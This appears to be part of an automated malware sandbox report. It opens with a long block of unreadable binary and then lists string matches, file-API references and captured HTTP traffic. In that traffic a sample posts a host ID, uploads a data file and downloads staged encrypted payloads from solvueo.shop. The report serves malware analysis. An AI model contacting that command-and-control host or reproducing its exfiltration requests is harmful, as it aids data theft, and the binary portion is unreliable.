LL¹aú9þ«-!éò*íGíDÚÄÉM÷S=0úþ®Q¡Fäó"|Kà-?b¢ì®X9rZ¯Ê+ôvßÅXÿ2EVpyCl¿¦JÂÒçvÞ%j%·^|üRS±Ðùø~ÌþþË=bTôLU?wÍ!ÚÐæ$?"<¶mÖac#O%]÷º'^'Ø©u@³K±^Û+×ük<ôf¥Pz:P¦¥^{l7FQFÒÈiËýEÎË!þÍ»)¿ú-6n©c7A±aåÎ·_«2ÿ>lïøÓJW ¯"[«o×ìxFÅÀs7ÈË¾ß_Á0¼CnúSEª·~rõùfÚVL ,ÁE³l:ZÎmY!øÜy×MÖTéÏPrÇ1SR |ÿØ1qÕøÁ.kU<ü°îQìb»ª[ËF[FjãäçHGáÜAfý"%±µïHDÕHhu¦]©"Oý«{cà½EµCª¦s|¤¦LgÒ;ËäÝ´2>ïfoÆ¿LsY3Ûô¸ÜÃaécË}´÷]Cø6U\Átà¿6vÆcÝû[p§5{®Æ~eÌÃ»/À¥ùÙWÈ5+ÌÉÍcUmý§{·!9EuW@¸"ÿ^ÖÁ«¥ÖOmi¨k¶!échÎ°¤ut³*ñÊ«çî9´z~@ç!¦¦Ùæl+A3h<#Òê!qtÏKìÄ¸ÇÕÔîß8ïw&s ÿlýgZ)æsÓ0ÚÁ;+Ì±óõJ7ÈÛèÅ¾äIx¡Þµ¶öJw\jRº!!)Oí|v-ý~âàÑÈI(¯¸'b6=3ÌµûQ7&m »¬5hX¯9U»úöÀObÂ¾ðQô¦¶ºG²Ç`È¸{;ÊeÕà[ÃyàP»Ë9"'ò%.\éÏ?ã} ù¤ÈìÂºKgw®E3}q2à÷¶>µ£>êtë0Ý=¹Èö.{{luÈ0~mÙy4D8X§Ï@¦kâÎO½Êör Ú÷/n"Lse´®mAøõÙðÎU9(ÉðàÁëQ9ôÝ®^FßL ýÌöè4èU}iÙ¼¶N5}BEúÆ)'LT5º`þtÉ=«È`4¾]ôIhÉ½qi¨wrYÑèªD¹.ºÐ£`zÃ#Æ¨¶ñà}óoÎ÷øuðWØ5c°+´T7QºfyTÃhªè©-&·öp4·ER.ÂðGaáí·ÑO,6Ú%ú¸¹õ.qE²tàíKþQvbÊR±H¹·Pùqn°7Åß?A!q@Lnu?Z¹XàºÆÃýçÆámBà7þ'ÔÖ¥RÖÝó6£Hºú´ãÇüJü9ÖjG}Ý'c$×4âÉh¾MuäHÎBøD,@ýà^Aº)1)"W¤¸ù¸ñ®ê¸·¸7ÚPd6®Ä1ÿ·|Óm«ýc=Ýoeæ=´×Ò [TÉÇ; w£ÇÑap#qïçãrC4Â&TYãæ8Ö°tzEîsöª§Þß~W±æl%®ä®_¥µª'öOÖþ+i>ÄùvÉn)3@0¿{ªq´10Æèoµ@}¹j÷S<£g¿ÏMê6úÄW¹_jÒNN#aFø8©húw¡¾ö}ó¬CòÈÀ$c«Ó\1UDèIè²+(ã÷þB¿GbØQßå/Õ¹Ð'UìÈÏKÜOÑHÆb[¯ïæºô»ã%@um~»nÄjÈ-¶Ê"7´ÁÏT|ý§x¥hq.ôªX©(DdÈgPÂËÀ ì\oú¡ar/Àè÷«9Ý5Ò@lâü=Dî:Ó/CÄbýR«§ªÛTµòGæ4ZÄýq¸á³óçuü[$;·¦iü^3$Px%6¿Mìß=-êÄÑC1ÍYWÄ>å÷O¤#dÅôóÕVI'îíì*KwÌê¢Æ÷ÿ´sï?e1ÔuoÛx°ÅBTí+®ð½½x§¦mmèy3Wó#ê?ÀíÜ0KÃØ÷/aó25lÈKÞF$ûæáíç°P§Õ×Á1Ù©Ìì¤T¯_ûæ s°¯ns¿S¼n:öNµäÝÂù=îÏ5.F/zzªØ´õmk#8RCPy+=ê¯×Ù=Ú0ª¼k->úzÎLßæë[öÅh¥rM/½Û·&ÄnÛ£,ªGáå æ{®95LGüþc#&áRê©0g¨yjrArpSUA!gY"@ò×Jíõ_ 2¢'9ÏôH:ÿ/yÜa#"¾ùf*Vï°D\¯ØcàÎI:å2£¦¦¦â±Ô±®¿îebÐm4Ñ¡FByÚÜz¶ð+bLÑ.Þ+9Xsè8Óõ3ÊÁZkOOî|ÇcFò^ÅoþÚ0ðGÝ!wñB£è\ðpOS$Û'Dp¢HbaI9»#hq¦Àö4Ük:¦Ë£øcãöY¥dYóÆª±¶¥ÕkÅJf¼à¯±:hÆÉÂ'/Az¯XÌMÄÌ>¬Ê*±q#x®e[Ñ7þþZ®×!§ö& fC=@ÅY«Y¦(}úñ°«¼Vs7:H«9Åë7a³é{$/Ì5uú°Gð`³ê¶Vð@íô®×7èiE^ÞÌñð´äMNv9ô(¤Y3äB'iæ½Èië§×s´kO¦%ºã«·¿5.whUÍ²ï÷/g¯ö=ãGõeí>ÍfßëC !rÿV¼(EV;$æ|]n7ñ>ÇLV<ñ°ÇRÍötQ`5f--ù©ÊÕNÔáÝ¹Súó¶RØþT«IÅOß³XåÂ#à&Ald¯P[çÕÂÉBÆÊ½ÁvLÆÃ½/Î¿õõÒçv?F>Hï©ÞÚêy þô®ág3ä¶èØ2eÃÐ)ÒWêèF°\YA`ÀÙ<'Ý4®ôY1P@GÔÆ°MêâÛZÝw@µR¢R`NùVf=ÉáfCrôKt*Æ¡"&Ð'±/Éé1T²ð*É; öngÅùr¼Kjª÷n@ruÈuFOÞ¨Uþg¿±²õEnbPç_¹++õÆpCãeí>~8À|y¡hS²ô1Bâ\ÖSQ«cXï¼Y¿U»í`«¬°9+éÎ[JðÜÑ[GvNj:ídMÕ oêwyÐJÃO:±óÊ«bJt3þzE¬XN²Q5;ýã¼$ß¶²çïhI\IWùRLñØkWîÝ¶ôdTöìd.=ßÉ°r8æYC÷câ¢ÃO¸G¶øuÞ9ã¾7´®1W{Jø¥fl7{·óSDTK÷ÏÄ\CDf{OÎ4Ð®»fsÒáôÀAòkózèÓîjµÀÏã4 õ&<(/ËPÌ<³$yJõÚ¿AÝâ;+ø~ó·LÈÊ«|H#yUPÓi*RÈ àÅ¶ôÔÞôÛ¼*úã#¤Ä5Ä¿U4ï:ýwW#À%õÍ3*1ýþDÈ"éÞ)[-=ÇàéK³ÉLÑ÷U\áBîöt"7ýDy~ÑÚÁab_.â÷»Í£ø%7SàßûhÝ}uèo!xßùñp=½Îz£)ëÌi#ý/°)N;4·õÝA0 $;E'kÚKr¨Üð1;¦p¡ÄÆq:X[-Z{&>3¶Ë3ú7}éÌawåáO¨5ò÷¿Úæx.+¨iÒ¯òáñ¡Ï·ÆÔOøcaÚTÂ¡+I/¥gùèwXªï/Kza¤ä;óHÉzckä]©®Øçá(lv*Ó»q¾,ù*-µ)¡bh+ðéÒ;¹0HêB¼Û=,ÉB©gé.6;8®Zû½£Þ:#)¢9>fWQØµÒb%\Uë,'Cã*pðí¦Y¥iPåw!Òeé½®ª2êé¸±Éßæ¡ã¦äîä(øuKäyF-¢/5ÔÇÁ8ËÕ:"fw#Óú¦¬<×h²<`¦À*;lVÀ"¢ú¦çÐt$k©ýÊÏ+>5×Ñ½î¬WÉ?"Ò´¿Äôæ;Ï)Jo?íý5{ÔøÉÜt|ë@$páfî6iûx¾;¤ü´ùôÜÛBÒWuÃÑ|l9êÀLÐÙ.ìUH&S¬3j»Í(í¡²Î¥ÅENwÖl&çëUÄÐÔ~´UÀìêÏÿ§¹{Oê8dääãÏøk¾W¨Ö4]³ôIWÑOëBÖâÃu²Nkîè Ñ¼Ò`¤PDg8Î=gK xìÅUçâÆå+¿qJºÏìC ¤¬\EÁfm»#,yg`M¢ïYuÙüÎÏ±îök9Ô´àm»¡cL¤y.[3»¾$À_0ª;.xüd8áÖ0¥ N®øá V"ÄWûQ×~¶ZlG¯[]:^`rAØ|²ÑMµ°Ý¹a@Z@jHhæV,d-,ãë"ü¼ïäÉØ²ÎxdmçÛ?§~GMSöØîM7ØMªf(|J´w«2`¥WÄl'6ÂßQ?NUÙ¦{=_ý¹« *Ív3XDÁæ{Ñõ²ù>Ôþ¹kûÃ9ìBI?ÛjDJ4Ö¾M8±Ý¹¿#Ü}±5ÈáÑC«Ï_c_xkÈü{¦ÙÛuu}æ»y7#[¥/!3åZÙ£)ä-[ÞFvÛUJ©Í½´¨çªÕÀ¿l×'gÑÅ%åÖ¯uÈNT¦Ùð"2:k4ü¥Ä´Sê¡¨ÊÑK«<ÁñºÄC¸=rqHÁ0kÂq³±¬cÁPF2|öÒñCb·WYX0/ZéíÑ±«±óFÁD'Äìµ«%x_/£8ÜÐýªÚìï£ü³+·$qÈßpRò¬$uIPÇH|ñµÞ¹mó%1ÍÍ1î7tÛmò³6#õ}^Ô}Õ1Á±àt]¼é?ÓèéL®ÖËß\6«ØÞÐìLE8¶÷`#»RÃ@çÕ+ÎÄoÚ9ßòÞÇ6¡£Ïh:U°ÅÉ_ýjoî´ÐTQ¢(^©Êõ¸óñ4í»np^£(á,±å:]$Áî©fò]~Eß«M2ÅÖj»rÍ,TÎðab·Z}¾nó"BàÓ7ÀÐÿÛ5ô`s½¶c®Â)¾µm_H2É.(Ú ùíÔécç|FxÈîýÚHi9ÖîÅ)P$Æ¬Ø7Q"ptöÎ.`ÖÛ~"÷ÚMà{uKÛö´!Ô·l×Á2@È;Ýu3bá6j×aS@1Ú¬¾¥wRg²úÝ£y¤Õ¶ãgbó?(×°ë:SU)¹ åjê"Çå,<.¿Ã>HÈ,ÈoñÃ#ý{2Xüx.hþ±!eÃf£'îþ^L$oFjÑKêÕm÷7ÃÌ¨»o/$×W£ý¥-é0çwÝO·B»,ãå×EÂ²Mu.ãò)*÷sùw¿ÎZ4D ]Ðè/XÌrrË?ý?¦HY¢Ê¨*r/èö×FwI"Âõ¡õ«à]Þ±{G@èM)mÅFåF==c÷áðªÐáÿÐånË¢»Û3@({²×äT¢Ä/ë¸ìC¾?º8ÃùÝÅ+Go¢Rëtx~¯²ï¡mÜ^ÀØìÚWÉìg¬+u·Ô2Ö(ff]÷°§t¥Ñn¬ÉoQëËÌ2GïFB¬ð®Íg5}Cêä6°ZJÔ{%¹`°:t´Lj½×ãøØÇ%Ô1¦áZÜM½ÖôWûqq¤ª@YgVMWH}k¹¾xö/mð%¥Þ~PµYÌEãû(Èñ7dÞ¸Þ.ôi"ËpÃ0MêÌ½72é4ÉBîé¼ÜO,§ª3ùß;Çôô9Z³Ïí9HE¶8U)Õôà¶KË|×Ð6íËø~ôÞ¬Õ.<¶+K¼TWVÏÁÑgÒÏ¦"ßêáGO[4m}»÷ãc¯-ûãªW±'A¦k¤æ}v&àÞ(²Ë÷AÄe2Ð&¿ËUÊYklm^y'4]/å-Òv_\ÄÀñG¡ª¸6&êêGZXÌ§¾Ô,ÿÍ41PYói:«O/1óÿ;@¬6B@(Ûj#«¥]¿L{hâ4j«ÿy6ÂwÒpÍGè£öå`>@_Å%0Ý×¹¹¥æÛÓî¢nRÁO^Ü-ºûäêá6á Pùû`øèU_ÜûÑ8â¬&Ã%å·È1Zå¿Í v».sEÎ¼.ÈT´'Q»â¤ºïAÒ£ÓÒÊ¯³Â-^¢ØrM8lbwsE#tÝ{ªX;<Ó.¸¢£éñ{ÿîµ\f&´úµ¡¯~»ß@åÔÃlï¿ã¨z=}ãÎázpµ7A£?»ø¼ÀlxÈÓÝß~gOács±nuÇÕ'ÿº¿éÈpZt´BÞÁÊaÓiÆ´èzé¬·Ä#leÏv·¨÷iù×uqêÚIr})M¶¢ðÿMZZ.îbæ£.ãåµÙj*ÕÁ¥ð6±\çPê¼mÅúÆ< ø|D!*Ø7ÆèEÒ¡/ªäÍÏþ÷Ô×¿st¨û`^áîµ§|}YþÐV³÷_WF¼®(ÚhSI³¶þ5PMÔÌPG'hL4U.:Êy|@tüî h{8ÎòzÁöX¾JUÊúüyø@|d2÷Oª\¹q}/5G¾Þô^ÜYþX^Ôf»úºø'Ç'Í?¬?©MDÙ@?!se»¶ä0jCÖ1O:zÆ]q/IKe,¥Xrl¥úCuÚ2A%ý/ t^:%%e^#ÎÔJ(ÝæZo+ Ä¦m[æ×>ßôÂõ(ºek4{¡Ü-úéZÓ*Q!²ñÒSÖj?Æ?x´zlÒuz2u7u¬wgV3ÇÔÙj±liÄWæä7KMn{Ç`òäMø|Ó·@õXú§QN®"z¼=þDõ#áë^ÃtÎU-Ù~dsJH2[)k\O²}4 @ìµõs|ßHx(lÝTi@·ú¥ô1ëßaÛWî®: É§È{}Ao«`U:ã2¦}åÏb^À.qêäþ©{\_.ÁT ê9À¬g«ÁÍÞÏLÅj¿qßçNüÃÉwSÊÿÉc¦³Î-¢+Ói¢Ãëq\É´ÞÇ[_gv6ñÔøa2±îuP{¿.#¤¼á*Î`¤pAbÊ¦;¨å%åÉwÈ"þ:ûÈb5%Sê7UÈå TüMI KÊø zÖæ;6`úmO»èj³ÊÔ'õç¹+ïêv M¡?|@¼òW5`×ÝãbÚÕù¼ãÍWKaÔxá#çµ)ZÑU$iHÔWZÚDôvå¼õw¶×hsKlÏïZB©þ¬&ÊF½~×·l%bdë()ÓPÄ=gïÍ©¥q¤u¹¸oöAk½±R0Ëa«Æ²Àp0R/>ÂÞFïÝx¦im°´#Î{é¯^LzÂPî§U&2nÁ|³-L³¤GùÈéªþâ'Äãö½Phe:êÏJéÅÛSªçW£Cq®àø¤À§sãºk±¨§µ÷Å%`E¶a{ó}×læaaeRÎ¿¤ÝCÂ¦º$±2õLRFKêçNç<õN·¤jÖB¼ÄË,üx-µ¼ÔD|ZÂÓüÑ5¨BåqÊ.¿RjËXû'&æÕù°¹VÈá5ÉÎÌÕCyÚRá;K$ã}ýï'¯ªÏ6åö5Á2EÈ¿:¡?·ôµR¶3,¹¼vhbÙa+Gv2{{¨pÃP«/ÉH¾o;kÌxP#·ì/9Äuz³ÀÎ`Õ¿Xv+:XxûeÏºþÝÒºw3U&ÝÑH.¹®ÊÁëé¿)5V2«YâÊ=ºáæÑ`:Ä9mmD8ÞÎT±c¯2ÑËötÄB»ñh,8¼u´}HmJÊ,â°l{£ÀyDö½§,{['é#:¿Þ ÊCY"÷ëskÁàp¡¯gU¨éÞf¿VÐrç4" ß|¦¤8ÎaC7zÕ_çò??âÓºû3>ß|Ãhí®àdÓ_Iµ$8«ÕqH]xä0V]Rá¾ÁîbíWjlñ×}ú£þ¸âØµbòzñA[Úd,T²ê/e/_à/7¯¿@ø AX6£ô°'´½nÐA¿´Í¨©(H¥NÏÒhûFìB¸#~íu¢wWbpÊ 3¬HãjÒ¥q_Ç~ïÚ_ááÒJ%à5:lLîÛ2Ï°Z¯ë oÌFÞ]S¯õO{ªèsÜgûaôWôoî£6õvdî1ÒDÀ¸gÚY¹4£{m©Uïå¹9w¼,O°ê¬¾x'/Á1Nµ|SU©ÀvT)VìÀg¢ì\ ~Î;£¼6~Ý"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=FwL49kH8BuB"; Source: "00000000-00001096-00000CCB-1314134542") Found string "--FwL49kH8BuBContent-Disposition: form-data; name="access_token"3afc9d90-965b-4a5f-9651-212bfcf02ed0--FwL49kH8BuBContent-Disposition: form-data; name="type"0--FwL49kH8BuBContent-Disposition: form-data; name="file"; filename="data"Content-Ty"; Source: "00000000-00001096-00000CCB-1314134542") Found string "Content-Type: multipart/form-data; boundary=BLscV6suw003T"; Source: "00000000-00001096-00000CCB-1363921794") Found string "--BLscV6suw003TContent-Disposition: form-data; name="access_token"3afc9d90-965b-4a5f-9651-212bfcf02ed0--BLscV6suw003TContent-Disposition: form-data; name="type"0--BLscV6suw003TContent-Disposition: form-data; name="file"; filename="data"Cont"; Source: "00000000-00001096-00000CCB-1363921794") Found string "Content-Type: multipart/form-data; boundary=yLcVBa4mDk60k1cyg"; Source: "00000000-00001096-00000CCB-1368155922") Found string "--yLcVBa4mDk60k1cygContent-Disposition: form-data; name="access_token"3afc9d90-965b-4a5f-9651-212bfcf02ed0--yLcVBa4mDk60k1cygContent-Disposition: form-data; name="type"0--yLcVBa4mDk60k1cygContent-Disposition: form-data; name="file"; filename="; Source: "00000000-00001096-00000CCB-1368155922")34:T462,Pattern match: "www.digicert.com1$0" Pattern match: "www.digicert.com1!0" Pattern match: "http://ocsp.digicert.com0c" Pattern match: "cacerts.digicert.com/digicertassuredidrootca.crt0e" Pattern match: "crl3.digicert.com/digicertassuredidrootca.crl0" Pattern match: "www.murphystroman.group" Heuristic match: "murphystroman-river.com" Heuristic match: "*.murphystroman-river.com" Pattern match: "www.murphystroman-river.com0" Pattern match: "http://ocsp.digicert.com0a" Pattern match: "cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "crl3.digicert.com/digicerttrustedrootg4.crl0" Pattern match: "http://ocsp.digicert.com0" Pattern match: "cacerts.digicert.com/digicerttrustedg4timestampingrsa4096sha2562025ca1.crt0_" Pattern match: "crl3.digicert.com/digicerttrustedg4timestampingrsa4096sha2562025ca1.crl0" Pattern match: "https://www.murphystroman.io0" Pattern match: "http://solvueo.shop:8938-74" Pattern match: "http://solvueo.shop:8938-892" Pattern match: "http://solvueo.shop:8938-56" Pattern match: "http://solvueo.shop:8938-1123" Pattern match: "http://solvueo.shop:8938-791785"35:T5f3,Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842.bin")36:T749," "access_token=&debug=http://solvueo.shop:8938-74" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:48:54 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: solvueo.shop:8938" with payload::==> "tag=8355c966088f2cf8bb30c4547daf2295&hwid=3424380d536736530df7859b2f9fca03" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:48:55 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-QK7PNwyTTK9n1zVxoDiWiq6CSSw" with response body ==>C38176C2A9C2AD07C38E52C29765C390C398C3A5C3BEC2BD44337034C3A560C28A42741627C38632C3AF18C3B5C29B74302A70C3B9C39AC2B4C3B0C3962A5D42....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 84 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=http://solvueo.shop:8938-892" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:48:56 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=FwL49kH8BuB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 892 Host: solvueo.shop:8938" with payload::==> "--FwL49kH8BuBContent-Disposition: form-data; name="access_token"3afc9d90-965b-4a5f-9651-212bfcf02ed0--FwL49kH8BuBContent-Disposition: form-data; name="type"0--FwL49kH8BuBContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamÏ½h=)XÕÑÁ¦K0ä|\]¿Ë2uMÿÇÙ#¢"TÄ¹ ¨ÊpW¾Äâï-Ì"VÝ}DîBfÇ2>Y¾.ÆòÆpÝÈõub=øæiÁÝ=Ð?syµn2$;Q/dÝõ¡ÃÀ.¤ké¾O$x¯&Pl®k±/{ãÈLÄõØR kÑ8óí6BÑn¿G_Ã#¿(§'mÀÙMJl?ÇT}ÃÄs-¼Wøz-ÏÙJ©ÄO^àN¯ã)¼Ýç}eÛ¦«gÐÉç²ïìpQt¢7i£7265636569766564....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=http://solvueo.shop:8938-56" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:48:57 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&step=1" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:48:59 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-3tYUhfLiH5Sgjs+Vlmlpib7oSzo" with response body ==>C2AD5029C2B7C2823231C290C3AC7AC3A9671DC2B7C3A229C3845AC2952D71C29BC38AC2AB0423C28448C389C394C28FC2B42C26C285C3B12313C2B76DC28CC3....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=http://solvueo.shop:8938-56" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:48:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&step=2" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:00 GMT Content-Type: application/octet-stream Content-Length: 4686 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"124e-+Sg5ys+KbXqAk12sFwR7yoVnqwA" with response body ==>C38B3D71C3AFC2AB15C3A239C28875C2AAC3AFC2B7C292C287273626C2B270C38D233DC28EC3877CC3A70E49C2955C22610A533F707EC3892369C3B9C287C3B2....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=http://solvueo.shop:8938-56" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:01 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&step=3" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:02 GMT Content-Type: application/octet-stream Content-Length: 6390 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"18f6-qTNDLhjj9aFyjZ9oRPgWChav5xQ" with response body ==>C2AF7E5D63C3BB76C282C3A4C29F54C2A0C2AEC2BF5B376D744271C28DC2B23AC392C3A578C2BFC3BFC29F53C395414BC289480CC39A0C05C3BD0D1AC38C31C3....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=http://solvueo.shop:8938-56" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:03 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&step=4" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:04 GMT Content-Type: application/octet-stream Content-Length: 7764 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"1e54-J9h/+pb7z+DKcOZ3GGHLxvUc0PE" with response body ==>C28D2B41C3BC7AC3845F124CC2A402456BC3817CC3BE2F2159C2A44171C38FC39DC29622C3BC55C391C29F35C3AFC3825C50C2A5C2BE5C78C3AAC3816301C3B3....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&debug=http://solvueo.shop:8938-56" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:04 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: solvueo.shop:8938" with payload::==> "access_token=3afc9d90-965b-4a5f-9651-212bfcf02ed0&step=5" HTTP/1.1 200 OK Server: nginx Date: Wed 20 May 2026 20:49:05 GMT Content-Type: application/octet-stream Content-Length: 44358 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: 